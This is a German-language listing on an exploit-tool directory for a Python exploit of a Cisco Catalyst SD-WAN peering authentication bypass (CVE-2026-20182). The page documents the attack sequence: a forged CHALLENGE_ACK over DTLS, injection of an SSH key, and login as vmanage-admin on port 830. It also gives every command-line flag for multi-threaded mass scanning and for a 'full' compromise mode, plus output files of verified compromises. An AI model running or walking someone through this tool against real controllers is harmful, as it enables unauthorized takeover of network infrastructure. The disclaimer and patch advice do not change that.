Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-20182 — Cisco Catalyst SD-WAN Peering Authentifizierungsumgehung | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-20182
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationNetzwerksicherheitPenetrationstestsRed Teaming
GitHubnxploited/cve-2026-20182

CVE-2026-20182

Cisco Catalyst SD-WAN Peering Authentifizierungsumgehung

Repository anzeigen
123vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-20182

Cisco Catalyst SD-WAN Peering-Authentifizierungs-Bypass

CVE-2026-20182 — Cisco Catalyst SD-WAN Peering-Authentifizierungs-Bypass

Bewertungstool für autorisierte Tests des Cisco Catalyst SD-WAN Controller / Manager Peering-Authentifizierungs-Bypass (CVE-2026-20182).

CVECVE-2026-20182
SchweregradKritisch (CVSS 10.0)
CVSS 3.1AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
ProduktCisco Catalyst SD-WAN Controller (ehemals vSmart) · Cisco Catalyst SD-WAN Manager (ehemals vManage)
ProblemPeering-Authentifizierungsmechanismus wird nicht korrekt durchgesetzt
SkriptCVE-2026-20182.py

Schwachstellenzusammenfassung

Mai 2026 Advisory: Ein Fehler im Control-Connection-Handshake / Peering-Authentifizierung ermöglicht es einem nicht authentifizierten entfernten Angreifer, die Authentifizierung zu umgehen und hochprivilegierten internen Zugriff auf betroffene Systeme zu erhalten.

Ein Angreifer sendet präparierte Anfragen an das betroffene System. Bei Erfolg kann sich der Angreifer als internes, hochprivilegiertes, nicht root-Konto authentifizieren und NETCONF erreichen, was die Manipulation der SD-WAN-Fabric-Konfiguration ermöglicht.

Empfehlung: Wenden Sie Cisco-Sicherheitsupdates gemäß der offiziellen Herstelleranleitung an. Beschränken Sie die Exposition der Management-Ebene, überwachen Sie Control-Plane-Verbindungen und prüfen Sie SD-WAN-Controller auf nicht autorisierte Konfigurationsänderungen.


Kontakt

Telegram: @KNxploited


Konsolenvorschau

CVE-2026-20182 Operationskonsole


Tool: CVE-2026-20182.py

Python 3 Exploit-Framework für CVE-2026-20182 gegen Cisco SD-WAN vdaemon (UDP/DTLS 12346).

Was es tut (Schritt für Schritt)

Fabric-Fallback: Bei TEAR_DOWN oder Parameterkonflikt werden alternative Domain/Site-Voreinstellungen (1,100), (1,1), (0,0) wiederholt, es sei denn, --no-fallback ist angegeben.


Ergebnisstufen (sorgfältig lesen)

Wichtig

  • check-Modus → höchstens Stufe 03 (Bypass-Sonde). Kein vollständiger Exploit-Nachweis.
  • full-Modus → Ziel ist Stufe 01 (ssh_verified).
  • https://host in der Liste → nur TCP-Web-Hinweis (80/443). Nicht UDP DTLS auf 443.

Anforderungen

root@kitploit:~
pip install -r requirements.txt

OpenSSL (System)

Windows

  1. Installieren Sie Win64 OpenSSL 3.x oder ein Äquivalent
  2. Fügen Sie bin\ zur PATH-Umgebungsvariablen hinzu, oder setzen Sie:
root@kitploit:~
OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

root@kitploit:~
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

Das Tool beendet sich beim Start, wenn OpenSSL nicht geladen werden kann.


Schnellstart

Interaktives Menü (Standard)

root@kitploit:~
python CVE-2026-20182.py
  • Optionen 1–11 konfigurieren, dann 0 = SCAN STARTEN
  • Standard-Ausführungsmodus: check (sicherer Bypass-Sonde)

Nicht interaktiv (Automatisierung)

root@kitploit:~
python CVE-2026-20182.py -y

Ausführungsmodi

CHECK — Nur Bypass-Sonde

root@kitploit:~
python CVE-2026-20182.py -y --mode check

FULL — Schlüssel injizieren + SSH überprüfen (nur autorisierte Ziele)

root@kitploit:~
python CVE-2026-20182.py -y --mode full

CLI-Referenz (jedes Flag + Beispiel)

Ziele & Arbeiter

-f / --file — Zieledatei (Standard: targets.txt)

root@kitploit:~
python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — Arbeiter-Threads (1–200, Standard 12)

root@kitploit:~
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — Standard-DOMAIN_ID, wenn nicht in Liste (Standard: 1)

root@kitploit:~
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — Standard-SITE_ID, wenn nicht in Liste (Standard: 100)

root@kitploit:~
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

Modus & Automatisierung

--mode — check | full

root@kitploit:~
python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — interaktives Menü überspringen; nur CLI-Werte verwenden

root@kitploit:~
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

SSH-Überprüfung

--no-ssh-verify — SSH-Test nach Injektion überspringen (nicht empfohlen im full-Modus)

root@kitploit:~
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — zusätzlich TCP 22 nach 830 versuchen

root@kitploit:~
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / Fabric

--no-try-list-udp — nur UDP 12346; :port aus Liste ignorieren

root@kitploit:~
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — Labor: zusätzliche UDP-Ports auf jedem Host

root@kitploit:~
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — Domain/Site-Wiederholung bei TEAR_DOWN deaktivieren

root@kitploit:~
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

Protokollierung

-v / --verbose — jede Protokoll-TX/RX-Nachricht protokollieren

root@kitploit:~
python CVE-2026-20182.py -y -v -f targets.txt --mode check

Interaktives Menü (wenn -y weggelassen wird)


targets.txt-Format

Ein Ziel pro Zeile. Zeilen, die mit # beginnen, werden ignoriert.

Beispieledatei

root@kitploit:~
# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

Nicht unterstützt: IPv6 (nur IPv4 / Hostname).


Ausgabedateien

Beispiel SSH-Befehl (Stufe 01)

root@kitploit:~
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

Empfohlene Arbeitsabläufe

1) Viele Hosts scannen (schnell)

root@kitploit:~
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

Überprüfen Sie cisco_sdwan_03_bypass_only.jsonl und die Live-Statistiken Nur Bypass.

2) Exploit auf kuratierten Hosts bestätigen

root@kitploit:~
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

Überprüfen Sie cisco_sdwan_01_confirmed_ssh.jsonl — einzige Datei mit ssh_verified: true.

3) Einzelnen Host debuggen (ausführlich)

root@kitploit:~
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

Live-Telemetrie (während des Scans)


Betriebshinweise

  • Standardmodus ist check — schreibt keine Schlüssel und weist SSH nicht eigenständig nach.
  • Echter Erfolg = ssh_verified=true nur im full-Modus.
  • Gepatchte / falsche Fabric → oft TEAR_DOWN nach CHALLENGE_ACK; aktivieren Sie den Fabric-Fallback oder korrigieren Sie Domain/Site in der Liste.
  • Firewall muss UDP/12346 (und alle zusätzlichen Listen-UDP-Ports) von Ihrem Scanner zum Controller erlauben.
  • Committen Sie nicht sdwan_keys/ oder Scan-Ergebnisse in öffentliche Repositories.

Rechtlicher Haftungsausschluss

Diese Software dient ausschließlich autorisierten Sicherheitsforschungen, defensiven Bewertungen und Bildungszwecken.

Sie müssen ausdrückliche schriftliche Genehmigung haben, um Systeme zu testen, die Sie nicht besitzen oder betreiben. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Nutzung dieses Tools entstehen.

Verwenden Sie es nur auf Systemen und Netzwerken, für die Sie ausdrücklich zur Durchführung von Sicherheitstests autorisiert sind.


Von: Nxploited ( Khaled Alenazi )

Tool herunterladen
ElementDetail
AngriffsvektorNetzwerk
Erforderliche BerechtigungenKeine
BenutzerinteraktionKeine
UmfangGeändert
AuswirkungVertraulichkeit, Integrität und Verfügbarkeit — Hoch
SchrittPhaseBeschreibung
1Ziele ladentargets.txt parsen, Duplikate nach (host, domain_id, site_id) zusammenführen
2OpenSSL-VorbereitungOpenSSL 3.x/4.x-Shared-Libraries für benutzerdefiniertes DTLS laden
3DTLS-VerbindungVerbindung zum Ziel-UDP-Port herstellen (immer zuerst 12346, dann optionale Listen-Ports)
4CHALLENGEServer-CHALLENGE (0x08) empfangen
5CHALLENGE_ACKPräpariertes CHALLENGE_ACK als vHub (Typ 2) senden — Authentifizierungs-Bypass
6HelloHello-Austausch abschließen — bestätigt Bypass-Pfad
7aCHECK-ModusHier anhalten — nur Bypass / Hello OK aufzeichnen (keine Schlüssel, kein SSH)
7bFULL-ModusSSH-öffentlichen Schlüssel über VMANAGE_TO_PEER injizieren
8InjektionsbestätigungREGISTER_TO_VMANAGE (0x0D) als Protokollbestätigung erwarten
9SSH-ÜberprüfungLogin als vmanage-admin auf TCP 830 (NETCONF), optional 22 testen
10AusgabeErgebnisse in Tier-Dateien + menschenlesbare Befehlsliste sortieren
StufeDateiBedeutung
01 — SSH bestätigtcisco_sdwan_01_confirmed_ssh.jsonlssh_verified=true — einzige Stufe, die als vollständiger Kompromittierungsnachweis gilt
02 — Nur Injektionsbestätigungcisco_sdwan_02_inject_ack_only.jsonlProtokoll hat Schlüsselinjektion akzeptiert; SSH-Login fehlgeschlagen
03 — Nur Bypasscisco_sdwan_03_bypass_only.jsonlHello/Bypass OK; keine bestätigte Injektion
AnforderungHinweise
Python3.9+
pipcryptography, rich
OpenSSL3.x oder 4.x Shared Libraries (libssl + libcrypto) — zwingend erforderlich
ModusFlagSSH-InjektionSSH-ÜberprüfungVerwendung wenn
CHECK--mode check (Standard)NeinNeinMassen-Screening, Bypass-Erkennung
FULL--mode fullJaJa (es sei denn, --no-ssh-verify)Kompromittierungsnachweis
#Option
1Zieledatei
2Arbeiter-Threads
3Standard-DOMAIN_ID
4Standard-SITE_ID
5Modus: check / full
6Fabric-Autowiederholung bei TEAR_DOWN
7Ausführliches Protokoll-Log
8SSH-Überprüfung nach Injektion
9Auch SSH :22 überprüfen
10Explizite Listen-UDP-Ports versuchen
11Zusätzliche UDP-Ports (Labor)
12Hilfe zum Listenformat anzeigen
0▶ SCAN STARTEN
FormatBeispielVerhalten
IP / Hostname10.0.0.1UDP 12346 + Standard-Domain/Site
IP + UDP-Port10.0.0.2:12346Auch Listen-UDP-Port versuchen
IP + Port + Domain + Site10.0.0.3:12346:1:100Vollständiges Fabric-Tupel
HTTPS-URLhttps://10.0.0.4Host + nur TCP 443-Hinweis (nicht UDP/443)
HTTP-URLhttp://10.0.0.5Nur TCP 80-Hinweis
UDP-URLudp://10.0.0.6:12346Explizites UDP
Tabulator/Komma getrennt10.0.0.7 12346 1 100Wie Vier-Felder-Form
Key=Wert10.0.0.8;port=12346;domain=1;site=100Semikolon-KV-Syntax
DateiInhalt
cisco_sdwan_results.jsonlRoh-JSON-Ergebnis pro Versuch
cisco_sdwan_success.txtBestätigte SSH-Zeilen (tab-getrennt)
cisco_sdwan_01_confirmed_ssh.jsonlStufe 01 — SSH verifiziert
cisco_sdwan_02_inject_ack_only.jsonlStufe 02 — Injektionsbestätigung, SSH fehlgeschlagen
cisco_sdwan_03_bypass_only.jsonlStufe 03 — nur Bypass/Hello
cisco_sdwan_commands.txtMenschenlesbare SSH-Befehle
cisco_sdwan_findings.jsonSitzungszusammenfassung + Zählungen
sdwan_keys/Generierte private Schlüssel (full-Modus)
ZählerBedeutung
FortschrittAbgeschlossene Ziele / Gesamt
SSH verifiziertStufe 01-Anzahl
InjektionsbestätigungStufe 02-Anzahl
Nur BypassStufe 03-Anzahl
FehlgeschlagenFehler / kein Bypass